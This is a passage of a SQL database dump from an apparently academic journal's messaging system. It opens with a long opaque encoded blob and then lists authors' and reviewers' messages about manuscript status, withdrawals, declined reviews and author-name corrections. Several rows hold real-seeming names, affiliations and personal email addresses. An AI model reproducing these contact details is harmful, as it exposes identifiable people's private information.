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',75,6131,1,'2021-03-13 07:10:39',1),(688,'THANKS','<p>Dear SIR</p>\r\n<p>I thank you for your scientific trust in me and i hope that the rasearches that send to me for evaluation is in the field of physilogy and biochemistry with my best wishes</p>',0,15588,3,'2021-03-13 20:49:18',1),(689,'Date of publication online','<p>Dear sir</p>\r\n<p>Can you please share the tentative date of publishing this manuscript.</p>\r\n<p>Thanks</p>\r\n<p>Dr. Shilpa</p>\r\n<p>&nbsp;</p>',371,8595,1,'2021-03-15 04:28:38',1),(691,'	ijddr-20-6865','<p>Kindly update me regarding my submission</p>',376,8129,1,'2021-03-16 06:09:34',1),(692,'the manuscript reference wtih\nipctn-21-7785','<p>Dear Rpisarda</p>\r\n<p>The article which has the manuscript reference with ipctn-21-7785 does not match the area of my expertise as a reviewer . I found that the article is not aligning with my subject expertise.</p>\r\n<p>please inform this.</p>\r\n<p>thank you for your attention.</p>',0,17125,3,'2021-03-16 21:08:34',0),(693,'Retraction Request','<p class=\"p1\">Dear Editors Journal of Eye &amp; Cataract Surgery,<span class=\"Apple-converted-space\">&nbsp;</span>&nbsp;</p>\r\n<p class=\"p1\">Regretfully, we are writing to request our manuscript (<span>Ms. No.<span class=\"Apple-converted-space\">&nbsp;</span><span\nclass=\"Apple-converted-space\">&nbsp;</span></span><strong>ipjecs-21-7318)&nbsp;</strong>be retracted as the senior author did not approve of this submission. This was an oversight on our end and\napologize for any inconvenience this has caused. We are appreciative of the time and effort that was spent reviewing our manuscript and will definitely consider Journal of Eye &amp; Cataract Surgery\nfor future submissions.<span class=\"Apple-converted-space\">&nbsp;</span></p>\r\n<p class=\"p1\">Best regards,<span class=\"Apple-converted-space\">&nbsp;</span></p>\r\n<p class=\"p1\">Brooke Reeves</p>',442,8593,1,'2021-03-17 13:31:08',1),(694,'Decline review','<p>Over committed at this time</p>',0,12884,3,'2021-03-17 14:13:35',0),(695,'Halo editorial greeting the day  ','<p>Please announce the status of our paper, im waiting your respoce&nbsp;</p>',48,3375,1,'2021-03-18 08:00:44',1),(697,'Review The manuscript reference is\nipijgh-21-7823','<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>I cannot&nbsp;download the manuscript for review.</p>\r\n<p>&nbsp;</p>\r\n<p>Bests</p>\r\n<p>Michael </p>',0,15303,3,'2021-03-18 13:09:03',1),(698,'Withdraw of my manuscript','<p>Dear Editor,</p>\r\n<p>I would like to withdraw my manuscript for now. Sorry for any inconvenience caused by this decision.</p>\r\n<p>I may submit a paper one or two months later.&nbsp;</p>\r\n<p>Warm regards,</p>\r\n<p>Julia.</p>',121,8939,1,'2021-03-18 15:12:16',1),(699,'Delay in publication of accepted\nmanuscript - IPBMBJ-20-5114','Sir, \r\nMy manuscript was accept',370,6290,1,'2021-03-22 07:33:57',1),(700,'Delay in publication of accepted\nmanuscript - IPBMBJ-20-5114','<p>Sir,&nbsp;</p>\r\n<p>My manuscript was accepted since last year november and it is not yet published.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I will be glad if something is done soon to address the unpalatable experience with the journal.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks in anticipation of your kind and timely response!&nbsp;</p>',370,6290,1,'2021-03-22 07:37:13',1),(701,'Paper publication','<p>Respected sir/mam&nbsp;</p>\r\n<p>&nbsp;Kindly send status of my paper publication</p>\r\n<p>With regards</p>\r\n<p>Meenakshi Sharma</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',101,8418,1,'2021-03-22 07:51:10',1),(702,'Paper publication','<p>Respected sir/mam&nbsp;</p>\r\n<p>&nbsp;Kindly send status of my paper publication</p>\r\n<p>With regards</p>\r\n<p>Meenakshi Sharma</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',101,8418,1,'2021-03-22 07:51:20',1),(704,'Decline','<p>Thank you for your invitation, unfortunately I am unable to review this article for you, yours sincerely CML</p>',0,17370,3,'2021-03-23 09:08:55',1),(705,'manuscript  ipjarn-20-6810','<p>dear Editor I acepted to review the manuscript number ipjarn-20-6810, but i still not recivedd the manusscrit complete, best regards Sylvia Copaja</p>',164,9287,3,'2021-03-23 15:48:15',1),(706,'Edit/view file inventory is not working\nproperly ','<p>Dear Sir,</p>\r\n<p>The manuscript I submitted is accepted today but I could not open or download the edit/view file inventory to view and edit the editors feedback. I think the edit/view file inventory is not working\nproperly so is there any solution for this problem. Thank you in advance.</p>\r\n<p>Regards,</p>\r\n<p>Banchiamlak</p>',101,8823,1,'2021-03-24 11:56:03',1),(707,'iprjpp-21-7515	7515-Manuscript-2021-03-26-1gy7-move-pdf-making.xlsx','<p>Hello Editors,&nbsp;</p>\r\n<p>Is it possible to have an update on progress with this paper noted above?&nbsp;</p>\r\n<p>If so, it would be most appreciated,&nbsp;</p>\r\n<p>Thanks, Joel Cohen&nbsp;</p>',835,8769,1,'2021-03-27 11:48:25',1),(708,' the name of your journal','<p>Sorry<br />I have sent an article on agriculture to your journal for review and publication, and it seems to have been accepted. But I do not know the name and information of the journal and its\nimpact factor.</p>\r\n<p>Yours sincerely</p>',279,8739,1,'2021-03-31 05:45:36',1),(710,'Asking indormation Clearity','<p>I have been invited to review a my manuscrip, can I review my Manuscript?</p>',0,8986,3,'2021-04-02 07:08:47',0),(711,' greetings the day  ','<p>I need your decision regarding our paper,</p>\r\n<p>&nbsp;</p>\r\n<p>If you able publication on current issue please send the gallery proof otherwise i will submit to other journal&nbsp;</p>',48,3375,1,'2021-04-02 10:47:43',1),(715,'Article for review. Ketamine a\nmulpipurpose agent . Therapeutic agent\nin  Psychiatry  and  Anaesthesia.','<p>Greetings</p>\r\n<p>Kindly correct my affiliation. it is GARDEN CITY CLINIC Dept of Anaesthesiology Johannesburg&nbsp; South Arfica.</p>\r\n<p>Your most recent draft MUST INCLUDE&nbsp; the biochemical&nbsp; structure of Ketamine and its biochemical effects. Please correct this important information iomission in your latest draft of 15\nmarch.</p>\r\n<p>Kind regards.</p>\r\n<p>Dr B A Bulbulia</p>',539,3405,1,'2021-04-03 13:49:43',1),(716,'Article for review. Ketamine a\nmulpipurpose agent . Therapeutic agent\nin  Psychiatry  and  Anaesthesia.','<p>Greetings</p>\r\n<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Please correct the Reference section of the above article as published on 16/03/2021. The references has no relevance to my published article. They are not\nmy quoted references and obviously to some other article.</p>\r\n<p>My email of 3/4/21&nbsp; also points out the wrong affiliation&nbsp; of the author as well as the omission of the structure of Ketamine and the flow chart of its bio-chemical effects.</p>\r\n<p>Kindly correct.</p>\r\n<p>Regards.</p>\r\n<p>Dr BA Bulbulia.</p>',539,3405,1,'2021-04-04 07:47:03',1),(717,'Denial to Review','<p>Dear Editor,</p>\r\n<p>This is out of my expertise to review.</p>\r\n<p>Best Regards</p>\r\n<p>Kamal</p>',0,17502,3,'2021-04-05 22:33:56',0),(718,'Request Article Retrieval','<p>Greetings and Regards<br />Due to the uncertainty of the journal metric, I requested that the article be withdrawn.</p>\r\n<p>Thanks</p>',279,8739,1,'2021-04-06 07:10:15',1),(719,'Time to response','<p>Dear Editor</p>\r\n<p>I wonder what is the limit time to review and send us an answer about our article?</p>\r\n<p>Thank you very much</p>',293,8313,1,'2021-04-06 08:46:32',0),(720,'Time to response','<p>Dear Editor</p>\r\n<p>I wonder what is the limit time to review and send us an answer about our article?</p>\r\n<p>Thank you very much</p>',293,8313,1,'2021-04-06 08:47:07',0),(721,'Authors name was not corrected, please\ncorrect them','<p>Dear Editorial office</p>\r\n<p>with regards,</p>\r\n<p style=\"text-align: justify;\">Thank you so much for publishing my Article, entitled &ldquo;Adjuvant activity of vero cell on cellular and humoral immunity responses against E. Coli O157:H7\ninfections in Balb/c mice&rdquo;. But the Authors name was not corrected.&nbsp; If possible would you please corrected the Authors name as:</p>\r\n<p align=\"center\"><strong>Hajar Molaee<sup>1</sup>, Yahya Tahamtan<sup>1*</sup>, Nahid Haidari<sup>2</sup></strong></p>\r\n<p align=\"center\"><sup>1</sup>Microbiology Department, Razi Vaccine and Serum Research Institute, Shiraz Branch, Agriculture Research, Education and Extension Organization (AREEO), Shiraz, Iran</p>\r\n<p align=\"center\"><sup>2</sup>Microbiology Department, Alborzi Research Center, Namazi Hospital, Shiraz, Iran</p>\r\n<p>&nbsp;</p>',248,4286,1,'2021-04-06 09:49:24',1),(722,'Withdrawal','<div>Hello.&nbsp;<span>I hope you are well.&nbsp;</span></div>\r\n<div><span>&nbsp;</span></div>\r\n<div><span>I would like to inform you that due to the cost and difficulties in making the payment right now we are forced to withdraw our manuscript \"Changes in left ventricle mechanics in patients\nwith Anderson - Fabry disease under enzyme replacement therapy\", for publication.</span></div>\r\n<div>\r\n<div>&nbsp;</div>\r\n<div>We appreciate your time invested in reviewing the manuscript.</div>\r\n<div>&nbsp;</div>\r\nThank you. Greetings.</div>\r\n<div>&nbsp;</div>\r\n<div>Gandhi</div>',268,8391,1,'2021-04-06 23:43:07',1),(723,'Required data','<p>Dear responsible,</p>\r\n<p>I you write this e-mail just to look for the current status of our submutted manuscrit entitled \"Alfalfa Ribulose-1,5-bisphosphate carboxylase/oxygenase: Extraction, Biochemical Characterization,\nand Proteolytic Hydrolysis Optimization Process for Plausible Biotechnological Tools\" </p>\r\n<p>Best Regards</p>\r\n<p>Walid</p>',370,8847,1,'2021-04-07 14:08:36',1),(724,'Article review - hotel cleaning','<p>due to current work committments i am unable to review this article within your timeframe. my apologies.</p>',0,10592,3,'2021-04-08 08:59:35',0),(725,'withdraw  the article','<p>Iam obliged to withdraw my article&nbsp;</p>\r\n<p>thank you very much.</p>',370,8844,1,'2021-04-09 14:51:57',1),(726,'problem ','<p>How are you<span style=\"font-size: 10px;\">?</span></p>\r\n<p><span style=\"font-size: 10px;\">I am seding scientific paper since 2019 why not publish ?</span></p>',309,4031,1,'2021-04-09 16:19:28',1),(727,'Enquiry About Publication of Accepted\nManuscript - 	IPBMBJ-20-5114','<p>Sir,&nbsp;</p>\r\n<p>Editor-in-chief, I understand you might be very busy but I, please, need your assistance.&nbsp;</p>\r\n<p>What is the cause of the delay in the publication of my accepted manuscript (IPBMBJ-20-5114) ?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>If your journal is no more willing to publish it, please let me know so I may ethically withdraw it for resubmission elsewhere.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks in anticipation of your kind response!&nbsp;</p>',370,6290,1,'2021-04-12 04:25:56',1),(728,'Acknowledgement of Online Publication of\nAccepted Manuscript IPBMBJ-20-5114','<p>Sir,&nbsp;</p>\r\n<p>I acknowledge the receipt of the online publication of my accepted manuscript (IPBMBJ-20-5114) and am grateful.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Please, disregard my recent mail about delay in publication of the same accepted, and now published, manuscript (IPBMBJ-20-5114)&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you!&nbsp;</p>',370,6290,1,'2021-04-12 04:41:38',1),(729,'Acceptance of Articles 	IPJHCC-21-8085','<p>Dear Editorial Office</p>\r\n<p>Greeetings,</p>\r\n<p>Articles was new and informative during pandemic situation. Above\nsubject mention articles can be publish.</p>\r\n<p>Thank you</p>\r\n<p>WITH BEST REGARDS</p>\r\n<p>SANJAY</p>\r\n<p>EDITOIAL</p>',269,1660,2,'2021-04-12 09:02:26',1),(730,'Wrong Authors, Please change them','<p>Dear&nbsp;<a id=\"example4\" title=\"Editor Details\" href=\"editor-info.php?eid=359\">Yoshihiro Kawaoka</a></p>\r\n<p>With respect,</p>\r\n<p>Thank you for published my manuscript, but the Authors name were wrong. If possible would you please change them as below:</p>\r\n<p>Yuors sincerely,</p>\r\n<p>Y Tahamtan</p>\r\n<p align=\"center\"><strong>Adjuvant activity of vero cell on cellular and humoral immunity responses against <em>E. coli</em> O157:H7 infections in Balb/c mice</strong></p>\r\n<p align=\"center\">Hajar Molaee<sup>1</sup>, Yahya Tahamtan<sup>1*</sup>, Nahid Haidari<sup>2</sup></p>\r\n<p align=\"center\"><em><sup>1</sup></em><em>Microbiology Department, Razi Vaccine and Serum Research Institute, Shiraz Branch, Agriculture Research, Education and Extension Organization (AREEO),\nShiraz, Iran</em></p>\r\n<p align=\"center\"><em><sup>2</sup></em><em>Microbiology Department, Alborzi Research Center, Namazi Hospital, Shiraz, Iran</em></p>',248,4286,1,'2021-04-13 08:28:05',1),(731,'delete the submission','<p>Dear journal,</p>\r\n<p>I would like to delete the submission, I cant anymore publish the article.</p>\r\n<p>How can I do?</p>\r\n<p>Thanks, Chiara Freccero</p>',75,9046,1,'2021-04-13 10:59:31',1),(732,'Mini review submitted for publication','<p>Hello. On February 17, 2021 I submitted a manuscript to your office, Mini Review entitled \"AGE OF PUBERTAL ONSET, PROGRESSION OF PUBERTY AND TRENDS IN ESTROGEN REPLACEMENT THERAPY IN TURNER\nSYNDROME\", ipjpc-21-7466.</p>\r\n<p>I have since not heard back from the Editorial Office regarding publication of the manuscript, nor from the Editor or the journal or any reviewers, despite the fact I was asked to send the review\nbefore mid-February so as to include it in the next issue of Pediatric Care.</p>\r\n<p>Please get back to me ASAP on the status of the manuscript. Thnk you, Roberto Lanes, MD</p>',687,8727,1,'2021-04-13 20:13:25',1),(734,'Revision details','<p>Dear Administration,</p>\r\n<p>I have submitted a manuscript that is now approved for publishing.</p>\r\n<p>However, the review board only asked for a revision without giving our team any detail on what to revise.</p>\r\n<p>Could you please specify what details to revise?</p>\r\n<p>Thank you very much and best regards,</p>\r\n<p>Hiroshi Kajio</p>',132,9083,1,'2021-04-15 15:56:02',1),(735,'Second email','<p>Dear Administration,</p>\r\n<p>For convenience, please also forward all future emails to my second email <a href=\"mailto:hiroshikajio68@gmail.com\">hiroshikajio68@gmail.com</a>, besides my primary email&nbsp;<span><a\nhref=\"mailto:hkajio@hosp.ncgm.go.jp\">hkajio@hosp.ncgm.go.jp</a></span></p>\r\n<p>Thank you and best regards,</p>\r\n<p>Hiroshi Kajio</p>',132,9083,1,'2021-04-15 16:07:32',1),(736,'Query regarding publication ','<p>Respected Editor,</p>\r\n<p>I wish to bring to your kind notice that my research article entitled \"Estimation and Comparison of Poverty lines in different states of India by using Quality Adjusted Life Year (QALY) has\naasigned a reference number&nbsp;<span>iphsj-21-7903. The tracking page also reflects the status of beeing approved by the Editor. I am eager to know about the next step regarding the publication of\nthe article in your esteem journal.</span></p>\r\n<p>Thank You</p>\r\n<p>Regards,</p>\r\n<p>Radhika Magan</p>\r\n<p>Research Scholar,</p>\r\n<p>University Of Delhi, India.&nbsp;</p>',48,9117,1,'2021-04-16 00:33:33',1),(738,'Withdrawn of paper','<p>Dear Team,</p>\r\n<p>&nbsp;</p>\r\n<p>I would like to withdraw my both paper. So kindly withdraw it and let me know the status.</p>\r\n<p>&nbsp;</p>\r\n<p>Regards</p>\r\n<p><span>Enrique Chacon-Cruz</span></p>',984,9337,1,'2021-04-19 08:44:11',1),(739,'Withdrawal Article','<p>Dear editors</p>\r\n<p>&nbsp;</p>\r\n<p>After several emails sent to you, I am writing again to make sure that the article CAN NOT BE PUBLISHED. This is due to some data problems. I DO NOT GIVE YOU PERMISSION TO PRINT THE ARTICLE. Please\nconfirm that the article and all relevant data is deleted. If not, we will take further legal actions.&nbsp;</p>\r\n<p>Kind regards, Dr. Sabina Heuss</p>',269,7440,1,'2021-04-19 09:20:27',1),(740,'no time to review right now','<p>tried to decline; not sure if successful.</p>\r\n<p>No bandwidth at the moment.</p>',0,5072,3,'2021-04-19 11:54:43',1),(741,'Decline review','<p>Dear Sirs</p>\r\n<p>I declined to serve as reviewer for this manuscript, because I am not an expert in genetics and the laboratory methods used.</p>\r\n<p>Sincerely Yours</p>\r\n<p>Zolt&aacute;n 